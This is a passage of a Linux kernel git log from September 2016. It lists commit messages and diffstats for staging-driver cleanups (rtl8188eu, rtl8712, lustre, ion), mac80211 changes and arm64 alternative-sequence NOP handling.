(5adef66acf73705ae95ea0b1e6b5fc7f17d82d30), replaced by two empty functions. Should they be moved out of #if 0 thay would not even compile, as they used functions that have been removed years ago (create_proc_read_entry()) and they use variables that are not defined (e.g. rtw_proc_cnt). rtw_proc_init_one() mentions several other functions that are not mentioned anywhere else in the kernel tree. Thus, after the present patch, all of those other functions can be cleanly removed as well, as they will be not mentioned anymore, not even in disabled code. Subsequent commits remove those other functions. Should anybody want to implement (in a proper way) the mentioned debugging features, they can still fetch this code from the git history. Signed-off-by: Luca Ceresoli Cc: Greg Kroah-Hartman Cc: Kyle Kuffermann Cc: Binoy Jayan Cc: Arnd Bergmann Cc: "Rémy Oudompheng" Cc: Ivan Safonov Cc: Jakub Sitnicki Cc: Alexey Khoroshilov Cc: Bhaktipriya Shridhar Cc: Bhumika Goyal Cc: devel@driverdev.osuosl.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/osdep_intf.h | 1 - drivers/staging/rtl8188eu/os_dep/os_intfs.c | 347 ------------------------- drivers/staging/rtl8188eu/os_dep/usb_intf.c | 8 +- 3 files changed, 3 insertions(+), 353 deletions(-) commit 181c6c679de13d1f6df182279e6b242a4352972b Author: Luca Ceresoli Date: Tue Sep 6 18:36:54 2016 +0200 staging: rtl8188eu: declare internal function as static This function is only used inside rtw_recv.c. Which is quite logical, since it's a timer callback: it is passed as the _fn argument to setup_timer(). So it is internal to rtw_recv.c and should be static. Signed-off-by: Luca Ceresoli Cc: Bhaktipriya Shridhar Cc: Andy Shevchenko Cc: Geliang Tang Cc: Jakub Sitnicki Cc: Ivan Safonov Cc: Kyle Kuffermann Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_recv.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2e3656dcf9b5b35514535d628929777cd9366565 Author: Luca Ceresoli Date: Tue Sep 6 18:36:53 2016 +0200 staging: rtl8188eu: remove unimplemented functions declaration These functions have been declared without any implementation since the first commit (58c434013a22fccfdb14abc2bb8408ca29073b76) and there has been no mention of them in following commits. Signed-off-by: Luca Ceresoli Cc: Kyle Kuffermann Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/recv_osdep.h | 4 ---- 1 file changed, 4 deletions(-) commit 4fe514dc2049b06e3cd2851513202b518ee6ee6d Author: Amit Ghadge Date: Sun Sep 4 22:53:35 2016 +0530 Staging: rtl8188eu: ioctl_linux: Clean up if function returned NULL on failure. Clean some all functions to return NULL on failure. Used !x instead of x==NULL. Signed-off-by: Amit Ghadge Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/os_dep/ioctl_linux.c | 34 +++++++++++++------------- 1 file changed, 17 insertions(+), 17 deletions(-) commit ec65ef8e8aa15126970a85348359a43a4c5c301a Author: Baoyou Xie Date: Sun Sep 4 14:33:35 2016 +0800 Staging: rtl8192e: mark symbols static where possible We get a few warnings when building kernel with W=1: drivers/staging/rtl8192e/rtllib_softmac.c:279:13: warning: no previous declaration for 'softmac_ps_mgmt_xmit' [-Wmissing-declarations] drivers/staging/rtl8192e/rtllib_softmac.c:773:24: warning: no previous declaration for 'rtllib_authentication_req' [-Wmissing-declarations] .... In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. In addition, some of these functions are declared in different files, it looks like that we need to clean the codes of this driver up, but we can repress these warnings first, then clean it up. so this patch marks these functions with 'static' now. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtllib_softmac.c | 41 +++++++++++++++++++------------ 1 file changed, 25 insertions(+), 16 deletions(-) commit 5cb6b910680c7002a2ce587c006d7390fd98c32c Author: Nicolas Iooss Date: Sat Sep 3 15:55:23 2016 +0200 staging: rtl8192u: do not use undefined $(TOPDIR) in Makefile drivers/staging/rtl8192u/ieee80211/Makefile uses $(TOPDIR) to configure an include directory, without defining this variable first. The path which is configured is therefore "/drivers/net/wireless", which does not seem to be the intended path. Remove the offending line. Signed-off-by: Nicolas Iooss Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192u/ieee80211/Makefile | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit ac4455e09b21572fd0c63d54ef76328f36d39cec Author: Anchal Jain Date: Fri Sep 9 20:32:16 2016 +0530 staging: lustre: lustre: obdclass: Modify return statement Modify the return statement. The Coccinelle semantic patch used to make this change is as follows: @@ expression e, ret; @@ -ret = +return e; -return ret; Delete the declaration of the return variable rc, as it is no longer used. Signed-off-by: Anchal Jain Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/llog_cat.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit e62641475b20a3a7a65491dcf4cb9b10e5ee9567 Author: Baoyou Xie Date: Thu Sep 8 16:46:07 2016 +0800 staging/lustre/obdclass: add missing header dependencies We get 1 warning when building kernel with W=1: drivers/staging/lustre/lustre/obdclass/linux/linux-sysctl.c:157:5: warning: no previous prototype for 'obd_sysctl_init' [-Wmissing-prototypes] In fact, this function is declared in ../../include/obd_class.h, so this patch add missing header dependencies. Signed-off-by: Baoyou Xie Acked-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/linux/linux-sysctl.c | 1 + 1 file changed, 1 insertion(+) commit bb84f356ac48f8704ac23edefbcf59661361df0c Author: Rehas Sachdeva Date: Mon Sep 12 15:37:37 2016 +0530 staging: emxx_udc: Remove unnecessary blank line This patch fixes the checkpatch.pl warning: Blank lines aren't necessary before a close brace '}' Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/emxx_udc/emxx_udc.c | 1 - 1 file changed, 1 deletion(-) commit b6e336dbeda85585c3ba6d935753d8240e18baf1 Author: Laura Abbott Date: Tue Aug 30 17:04:29 2016 -0700 staging: android: ion: Convert hi6220 to common platform Now that we have common devicetree bindings, convert hisilicon platform to use the binding and parsing methods. Signed-off-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/hisilicon/hi6220_ion.c | 195 +++++---------------- 1 file changed, 44 insertions(+), 151 deletions(-) commit 13439479c7de873f2ad5399b9224249c928decd8 Author: Laura Abbott Date: Tue Aug 30 17:04:28 2016 -0700 staging: ion: Add files for parsing the devicetree Devicetree is the preferred mechanism for platform definition these days. Add a set of files for supporting Ion with devicetree. This includes a set of bindings for heaps common across all devices and parsing methods. Clients may use the standard bindings or they can call the parsing functions along with their own parsing for platform specific heaps. Signed-off-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/Kconfig | 11 +++ drivers/staging/android/ion/Makefile | 1 + drivers/staging/android/ion/ion_of.c | 185 +++++++++++++++++++++++++++++++++++ drivers/staging/android/ion/ion_of.h | 37 +++++++ 4 files changed, 234 insertions(+) commit 76a96d86c8348c61b4abcb492a4892575833c3f9 Author: Laura Abbott Date: Tue Aug 30 17:04:27 2016 -0700 devicetree: bindings for Ion This adds a base set of devicetree bindings for the Ion memory manager. This supports setting up the generic set of heaps and their properties. Signed-off-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/devicetree.txt | 51 ++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) commit 02b23803c6af399473703e26703f74cfff3f22f8 Author: Laura Abbott Date: Wed Sep 7 11:49:59 2016 -0700 staging: android: ion: Add ioctl to query available heaps Ion clients currently lack a good method to determine what heaps are available and what ids they map to. This leads to tight coupling between user and kernel space and headaches. Add a query ioctl to let userspace know the availability of heaps. Signed-off-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion-ioctl.c | 53 ++++++++++++++++++++++++++------- drivers/staging/android/ion/ion.c | 43 ++++++++++++++++++++++++++ drivers/staging/android/ion/ion_priv.h | 3 ++ drivers/staging/android/uapi/ion.h | 39 ++++++++++++++++++++++++ 4 files changed, 128 insertions(+), 10 deletions(-) commit 53f249747d5ec6434415a6895b5690bf4f1d5d7d Author: Johannes Berg Date: Mon Aug 29 23:25:19 2016 +0300 mac80211: send delBA on unexpected BlockAck Request If we don't have a BA session, send delBA, as requested by the IEEE 802.11 spec. Apply the same limit of sending such a delBA only once as in the previous patch. Signed-off-by: Johannes Berg net/mac80211/rx.c | 6 ++++++ 1 file changed, 6 insertions(+) commit bfe40fa395ddc41e45310a4426574703a05e1177 Author: Johannes Berg Date: Mon Aug 29 23:25:18 2016 +0300 mac80211: send delBA on unexpected BlockAck data frames When we receive data frames with ACK policy BlockAck, send delBA as requested by the 802.11 spec. Since this would be happening for every frame inside an A-MPDU if it's really received outside a session, limit it to a single attempt. Signed-off-by: Johannes Berg net/mac80211/agg-rx.c | 4 +++- net/mac80211/rx.c | 9 ++++++++- net/mac80211/sta_info.h | 3 +++ 3 files changed, 14 insertions(+), 2 deletions(-) commit e506236a7b8140d73b35fee80f7e38c794dd931d Author: Mark Rutland Date: Wed Sep 7 11:07:10 2016 +0100 arm64/kvm: use alternative auto-nop Make use of the new alternative_if and alternative_else_nop_endif and get rid of our open-coded NOP sleds, making the code simpler to read. Note that for __kvm_call_hyp the branch to __vhe_hyp_call has been moved out of the alternative sequence, and in the default case there will be four additional NOPs executed. Cc: Marc Zyngier Cc: kvmarm@lists.cs.columbia.edu Acked-by: Christoffer Dall Signed-off-by: Mark Rutland Signed-off-by: Will Deacon arch/arm64/include/asm/kvm_mmu.h | 10 +++------- arch/arm64/kvm/hyp.S | 6 +----- 2 files changed, 4 insertions(+), 12 deletions(-) commit 6ba3b554f5b9b53cb99c0edb93f0ea855fbc712a Author: Mark Rutland Date: Wed Sep 7 11:07:09 2016 +0100 arm64: use alternative auto-nop Make use of the new alternative_if and alternative_else_nop_endif and get rid of our homebew NOP sleds, making the code simpler to read. Note that for cpu_do_switch_mm the ret has been moved out of the alternative sequence, and in the default case there will be three additional NOPs executed. Signed-off-by: Mark Rutland Cc: Catalin Marinas Cc: James Morse Cc: Will Deacon Signed-off-by: Will Deacon arch/arm64/kernel/entry.S | 10 ++-------- arch/arm64/lib/copy_page.S | 13 ++++--------- arch/arm64/mm/proc.S | 9 ++------- 3 files changed, 8 insertions(+), 24 deletions(-) commit 99ee7cae3bf3ce04e90d7b193d9f4f59a7044d91 Author: Johannes Berg Date: Mon Aug 29 23:25:17 2016 +0300 mac80211: add support for radiotap timestamp field Use the existing device timestamp from the RX status information to add support for the new radiotap timestamp field. Currently only 32-bit counters are supported, but we also add the radiotap mactime where applicable. This new field allows more flexibility in where the timestamp is taken etc. The non-timestamp data in the field is taken from a new field in the hw struct. Signed-off-by: Johannes Berg include/net/ieee80211_radiotap.h | 21 +++++++++++++++++++++ include/net/mac80211.h | 12 ++++++++++++ net/mac80211/main.c | 3 +++ net/mac80211/rx.c | 30 ++++++++++++++++++++++++++++++ 4 files changed, 66 insertions(+) commit 792d47379f4d4c76692f1795f33d38582f8907fa Author: Mark Rutland Date: Wed Sep 7 11:07:08 2016 +0100 arm64: alternative: add auto-nop infrastructure In some cases, one side of an alternative sequence is simply a number of NOPs used to balance the other side. Keeping track of this manually is tedious, and the presence of large chains of NOPs makes the code more painful to read than necessary. To ameliorate matters, this patch adds a new alternative_else_nop_endif, which automatically balances an alternative sequence with a trivial NOP sled. In many cases, we would like a NOP-sled in the default case, and instructions patched in in the presence of a feature. To enable the NOPs to be generated automatically for this case, this patch also adds a new alternative_if, and updates alternative_else and alternative_endif to work with either alternative_if or alternative_endif. Cc: Andre Przywara Cc: Catalin Marinas Cc: Dave Martin Cc: James Morse Signed-off-by: Mark Rutland [will: use new nops macro to generate nop sequences] Signed-off-by: Will Deacon arch/arm64/include/asm/alternative.h | 70 +++++++++++++++++++++++++++--------- 1 file changed, 53 insertions(+), 17 deletions(-) commit 42bd20d99857e69e368d5421ea402127d5835cd3 Author: Aviya Erenfeld Date: Mon Aug 29 23:25:16 2016 +0300 mac80211: add support for MU-MIMO air sniffer add support to MU-MIMO air sniffer according groupID: in monitor mode, use a given MU-MIMO groupID to monitor stations that belongs to that group using MU-MIMO. add support for following a station according to its MAC address using VHT MU-MIMO sniffer: the monitors wait until they get an action MU-MIMO notification frame, then parses it in order to find the groupID that corresponds to the given MAC address and monitors packets destined to that groupID using VHT MU-MIMO. Signed-off-by: Aviya Erenfeld Signed-off-by: Luca Coelho Signed-off-by: Johannes Berg net/mac80211/cfg.c | 23 ++++++++++++++++++++++- net/mac80211/driver-ops.h | 3 ++- net/mac80211/ieee80211_i.h | 3 ++- net/mac80211/iface.c | 5 +++++ net/mac80211/rx.c | 20 ++++++++++++++++++++ 5 files changed, 51 insertions(+), 3 deletions(-) commit bef611a92ee2d107365cf77e3665ce91d4f08da2 Author: Raphaël Beamonte Date: Fri Sep 9 11:31:45 2016 -0400 staging: rtl8712: checkpatch cleanup: block comments using a trailing */ Fix checkpatch.pl warning "Block comments use a trailing */ on a separate line" on multiple files of the driver by editing the affected comments. Signed-off-by: Raphaël Beamonte Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/rtl8712_led.c | 12 ++++-- drivers/staging/rtl8712/rtl8712_recv.c | 54 ++++++++++++++++--------- drivers/staging/rtl8712/rtl8712_recv.h | 3 +- drivers/staging/rtl8712/rtl8712_spec.h | 3 +- drivers/staging/rtl8712/rtl8712_syscfg_bitdef.h | 27 ++++++++----- drivers/staging/rtl8712/rtl8712_xmit.c | 9 +++-- drivers/staging/rtl8712/rtl871x_cmd.h | 9 +++-- drivers/staging/rtl8712/rtl871x_ht.h | 3 +- drivers/staging/rtl8712/rtl871x_ioctl.h | 3 +- drivers/staging/rtl8712/rtl871x_ioctl_set.c | 12 ++++-- drivers/staging/rtl8712/rtl871x_led.h | 15 ++++--- drivers/staging/rtl8712/rtl871x_mlme.c | 30 +++++++++----- drivers/staging/rtl8712/rtl871x_mlme.h | 12 ++++-- drivers/staging/rtl8712/rtl871x_mp.c | 3 +- drivers/staging/rtl8712/rtl871x_mp.h | 3 +- drivers/staging/rtl8712/rtl871x_mp_ioctl.h | 39 ++++++++++++------ drivers/staging/rtl8712/rtl871x_mp_phy_regdef.h | 33 ++++++++++----- drivers/staging/rtl8712/rtl871x_pwrctrl.c | 3 +- drivers/staging/rtl8712/rtl871x_pwrctrl.h | 3 +- drivers/staging/rtl8712/rtl871x_recv.c | 24 +++++++---- drivers/staging/rtl8712/rtl871x_recv.h | 9 +++-- drivers/staging/rtl8712/rtl871x_security.h | 24 +++++++---- drivers/staging/rtl8712/rtl871x_sta_mgt.c | 3 +- drivers/staging/rtl8712/rtl871x_xmit.c | 18 ++++++--- drivers/staging/rtl8712/rtl871x_xmit.h | 12 ++++-- drivers/staging/rtl8712/usb_halinit.c | 3 +- drivers/staging/rtl8712/usb_intf.c | 12 ++++-- drivers/staging/rtl8712/wifi.h | 15 ++++--- drivers/staging/rtl8712/wlan_bssdef.h | 6 ++- 29 files changed, 268 insertions(+), 134 deletions(-) commit c3b809834db8b1a8891c7ff873a216eac119628d Author: Hans Verkuil Date: Sun Sep 11 05:57:30 2016 -0300 [media] pulse8-cec: fix compiler warning pulse8-cec.c: In function 'pulse8_connect': pulse8-cec.c:447:2: warning: 'pa' may be used uninitialized in this function [-Wmaybe-uninitialized] cec_s_phys_addr(pulse8->adap, pa, false); ^ pulse8-cec.c:609:6: note: 'pa' was declared here u16 pa; ^ As far as I can tell, this can't actually happen. Still, it is better to just initialize it. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/pulse8-cec/pulse8-cec.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 34b27b13a2cd43e0d27e3ce13b96119efbbbedbc Author: Hans Verkuil Date: Sun Sep 11 05:51:54 2016 -0300 [media] pxa_camera: merge soc_mediabus.c into pxa_camera.c Linking soc_mediabus into this driver causes multiple definition linker warnings if soc_camera is also enabled: drivers/media/platform/soc_camera/built-in.o:(___ksymtab+soc_mbus_image_size+0x0): multiple definition of `__ksymtab_soc_mbus_image_size' drivers/media/platform/soc_camera/soc_mediabus.o:(___ksymtab+soc_mbus_image_size+0x0): first defined here >> drivers/media/platform/soc_camera/built-in.o:(___ksymtab+soc_mbus_samples_per_pixel+0x0): multiple definition of `__ksymtab_soc_mbus_samples_per_pixel' drivers/media/platform/soc_camera/soc_mediabus.o:(___ksymtab+soc_mbus_samples_per_pixel+0x0): first defined here drivers/media/platform/soc_camera/built-in.o: In function `soc_mbus_config_compatible': (.text+0x3840): multiple definition of `soc_mbus_config_compatible' drivers/media/platform/soc_camera/soc_mediabus.o:(.text+0x134): first defined here Since we really don't want to have to use any of the soc-camera code this patch copies the relevant code and data structures from soc_mediabus and renames it to pxa_mbus_*. The large table of formats has been culled a bit, removing formats that are not supported by this driver. Signed-off-by: Hans Verkuil Cc: Robert Jarzmik Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/Makefile | 2 +- drivers/media/platform/pxa_camera.c | 482 ++++++++++++++++++++++++++++++++++-- 2 files changed, 459 insertions(+), 25 deletions(-) commit 1c099ed63f8363228a0b075a25511c9feb90e03f Author: Julia Lawall Date: Sun Sep 11 15:05:45 2016 +0200 staging: rtl8192e: constify local structures For structure types defined in the same file or local header files, find top-level static structure declarations that have the following properties: 1. Never reassigned. 2. Address never taken 3. Not passed to a top-level macro call 4. No pointer or array-typed field passed to a function or stored in a variable. Declare structures having all of these properties as const. Done using Coccinelle. Based on a suggestion by Joe Perches . Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtl8192e/rtl_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ce4b80fb057563ec0cd8751658530597641fcfc9 Author: Imre Deak Date: Sun Sep 11 19:48:08 2016 +0300 staging: gdm724x: gdm_lte: Constify gdm_netdev_ops Fix the following checkpatch.pl warning: WARNING: struct net_device_ops should normally be const +static struct net_device_ops gdm_netdev_ops = { Signed-off-by: Imre Deak Signed-off-by: Greg Kroah-Hartman drivers/staging/gdm724x/gdm_lte.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 480dd46b9d6812e5fb7172c305ee0f1154c26eed Author: Maxim Altshul Date: Mon Aug 22 17:14:04 2016 +0300 mac80211: RX BA support for sta max_rx_aggregation_subframes The ability to change the max_rx_aggregation frames is useful in cases of IOP. There exist some devices (latest mobile phones and some AP's) that tend to not respect a BA sessions maximum size (in Kbps). These devices won't respect the AMPDU size that was negotiated during association (even though they do respect the maximal number of packets). This violation is characterized by a valid number of packets in a single AMPDU. Even so, the total size will exceed the size negotiated during association. Eventually, this will cause some undefined behavior, which in turn causes the hw to drop packets, causing the throughput to plummet. This patch will make the subframe limitation to be held by each station, instead of being held only by hw. Signed-off-by: Maxim Altshul Signed-off-by: Johannes Berg include/net/mac80211.h | 4 ++++ net/mac80211/agg-rx.c | 7 +++++-- net/mac80211/sta_info.c | 3 +++ 3 files changed, 12 insertions(+), 2 deletions(-) commit 71d387c9ddc585f35cfaccabebe5890e8e90bb73 Author: Ivan Safonov Date: Sat Sep 3 22:34:00 2016 +0700 staging: r8188eu: remove HalFunc member of adapter structure hal_ops structure is empty. Also remove hal_ops definition. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/drv_types.h | 1 - drivers/staging/rtl8188eu/include/hal_intf.h | 3 --- 2 files changed, 4 deletions(-) commit e72a384b8fa3599bf8f4f9d6cd139f83ce8d168e Author: Ivan Safonov Date: Sat Sep 3 22:33:56 2016 +0700 staging: r8188eu: remove hal_reset_security_engine member of hal_ops structure hal_reset_security_engine always is NULL. Also rtw_hal_reset_security_engine function removed. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 8 -------- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- 2 files changed, 10 deletions(-) commit 20b63baa1e62f044724af6cadfafa198dd2f99db Author: Ivan Safonov Date: Sat Sep 3 22:33:52 2016 +0700 staging: r8188eu: remove interrupt_handler member of hal_ops structure interrupt_handler does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- 1 file changed, 2 deletions(-) commit 6559b8b5cb0c232da487e2e221bc999c27c19b14 Author: Ivan Safonov Date: Sat Sep 3 22:33:49 2016 +0700 staging: r8188eu: remove hal_set_hal_ops macro hal_set_hal_ops is a trivial wrapper for rtl8188eu_set_hal_ops. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/usb_hal.h | 1 - drivers/staging/rtl8188eu/os_dep/usb_intf.c | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) commit 274c4f2912188cc7d5c4c1355e06d287a3c22a1a Author: Ivan Safonov Date: Sat Sep 3 22:33:44 2016 +0700 staging: r8188eu: remove rtl8188e_set_hal_ops function rtl8188e_set_hal_ops do nothing. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 3 --- drivers/staging/rtl8188eu/hal/usb_halinit.c | 5 ----- drivers/staging/rtl8188eu/include/rtl8188e_hal.h | 2 -- 3 files changed, 10 deletions(-) commit 2490fbf7b600237c508cef698945b2e3f4dbaf22 Author: Ivan Safonov Date: Sat Sep 3 22:33:40 2016 +0700 staging: r8188eu: rename rtl8188e_free_hal_data to rtw_hal_free_data And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 3 +-- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- 3 files changed, 1 insertion(+), 10 deletions(-) commit a5c2587435c613f3676c321dd378552c0628a144 Author: Ivan Safonov Date: Sat Sep 3 22:33:37 2016 +0700 staging: r8188eu: rename rtl8188e_init_dm_priv to rtw_hal_dm_init And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/rtl8188e_dm.c | 2 +- drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 2 -- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- drivers/staging/rtl8188eu/include/rtl8188e_dm.h | 1 - 5 files changed, 1 insertion(+), 12 deletions(-) commit f86fc9b0b67ea6af2e04fc2a4a43e0152a944902 Author: Ivan Safonov Date: Sat Sep 3 22:33:34 2016 +0700 staging: r8188eu: rename ReadChipVersion8188E to rtw_hal_read_chip_version And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 4 +--- drivers/staging/rtl8188eu/include/hal_intf.h | 1 - 3 files changed, 1 insertion(+), 10 deletions(-) commit 1ac7c98699396cbe53fab75b353f223743b52e7d Author: Ivan Safonov Date: Sat Sep 3 22:33:30 2016 +0700 staging: r8188eu: rename phy_set_bw_mode to rtw_hal_set_bwmode And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 8 -------- drivers/staging/rtl8188eu/hal/phy.c | 2 +- drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 2 -- drivers/staging/rtl8188eu/include/hal_intf.h | 4 ---- drivers/staging/rtl8188eu/include/phy.h | 3 --- 5 files changed, 1 insertion(+), 18 deletions(-) commit bada35ba84c8522bd0e58be5bdfeb612d9641e3f Author: Ivan Safonov Date: Sat Sep 3 22:33:26 2016 +0700 staging: r8188eu: rename phy_sw_chnl to rtw_hal_set_chan And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/phy.c | 2 +- drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 1 - drivers/staging/rtl8188eu/include/hal_intf.h | 1 - drivers/staging/rtl8188eu/include/phy.h | 1 - 5 files changed, 1 insertion(+), 10 deletions(-) commit 66fa5a46884394da05e197416d47c0be57d023f4 Author: Ivan Safonov Date: Sat Sep 3 22:33:22 2016 +0700 staging: r8188eu: rename rtl8188e_HalDmWatchDog to rtw_hal_dm_watchdog And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/rtl8188e_dm.c | 2 +- drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 2 -- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- drivers/staging/rtl8188eu/include/rtl8188e_dm.h | 1 - 5 files changed, 1 insertion(+), 12 deletions(-) commit c8059764180921e332b6043d714509b66c8e8bbc Author: Ivan Safonov Date: Sat Sep 3 22:33:18 2016 +0700 staging: r8188eu: rename rtl8188e_Add_RateATid to rtw_hal_add_ra_tid And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 8 -------- drivers/staging/rtl8188eu/hal/rtl8188e_cmd.c | 2 +- drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 2 -- drivers/staging/rtl8188eu/include/hal_intf.h | 3 --- drivers/staging/rtl8188eu/include/rtl8188e_cmd.h | 2 -- 5 files changed, 1 insertion(+), 16 deletions(-) commit 1e24579b0a011b05266e5a69c64dc354eb67f7b9 Author: Ivan Safonov Date: Sat Sep 3 22:33:15 2016 +0700 staging: r8188eu: rename AntDivBeforeLink8188E to rtw_hal_antdiv_before_linked And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 7 ------- drivers/staging/rtl8188eu/hal/rtl8188e_dm.c | 2 +- drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 2 -- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- drivers/staging/rtl8188eu/include/rtl8188e_dm.h | 1 - 5 files changed, 1 insertion(+), 13 deletions(-) commit 2865af357c899dc5be7b948a47d518fb46e2ba3b Author: Ivan Safonov Date: Sat Sep 3 22:33:11 2016 +0700 staging: r8188eu: rename AntDivCompare8188E to rtw_hal_antdiv_rssi_compared And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 8 -------- drivers/staging/rtl8188eu/hal/rtl8188e_dm.c | 2 +- drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 1 - drivers/staging/rtl8188eu/include/hal_intf.h | 3 --- 4 files changed, 1 insertion(+), 13 deletions(-) commit 76098bcb305557fc1a5a7e29510a4452f92f2f5b Author: Ivan Safonov Date: Sat Sep 3 22:33:05 2016 +0700 staging: r8188eu: rename phy_query_rf_reg to rtw_hal_read_rfreg And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 11 ----------- drivers/staging/rtl8188eu/hal/phy.c | 10 +++++----- drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 1 - drivers/staging/rtl8188eu/hal/usb_halinit.c | 4 ++-- drivers/staging/rtl8188eu/include/hal_intf.h | 3 --- drivers/staging/rtl8188eu/include/phy.h | 2 +- 6 files changed, 8 insertions(+), 23 deletions(-) commit 348526f75d175acbcd172fc9800894b4bd03d2dc Author: Ivan Safonov Date: Sat Sep 3 22:33:00 2016 +0700 staging: r8188eu: rename sreset_init_value to rtw_hal_sreset_init And remove two one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_sreset.c | 2 +- drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 2 -- drivers/staging/rtl8188eu/include/hal_intf.h | 2 -- drivers/staging/rtl8188eu/include/rtw_sreset.h | 1 - 5 files changed, 1 insertion(+), 12 deletions(-) commit 35e224f3fd35627022b102fec4f133413b14bcde Author: Ivan Safonov Date: Sat Sep 3 22:32:57 2016 +0700 staging: r8188eu: remove sreset_get_wifi_status of hal_ops structure Driver does not use it. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 1 - drivers/staging/rtl8188eu/include/hal_intf.h | 1 - 2 files changed, 2 deletions(-) commit 685adf8aa3c008111b2808b335b64e26c13c9173 Author: Ivan Safonov Date: Sat Sep 3 22:32:53 2016 +0700 staging: r8188eu: rename rtl8188e_SetHalODMVar to rtw_hal_set_odm_var And remove many one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 9 --------- drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 4 +--- drivers/staging/rtl8188eu/include/hal_intf.h | 4 ---- 3 files changed, 1 insertion(+), 16 deletions(-) commit 91d0696299e5d083cc96cbd7d1315483211aff14 Author: Ivan Safonov Date: Sat Sep 3 22:32:50 2016 +0700 staging: r8188eu: rename hal_notch_filter_8188e to rtw_hal_notch_filter And remove many one-line wrappers. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 6 ------ 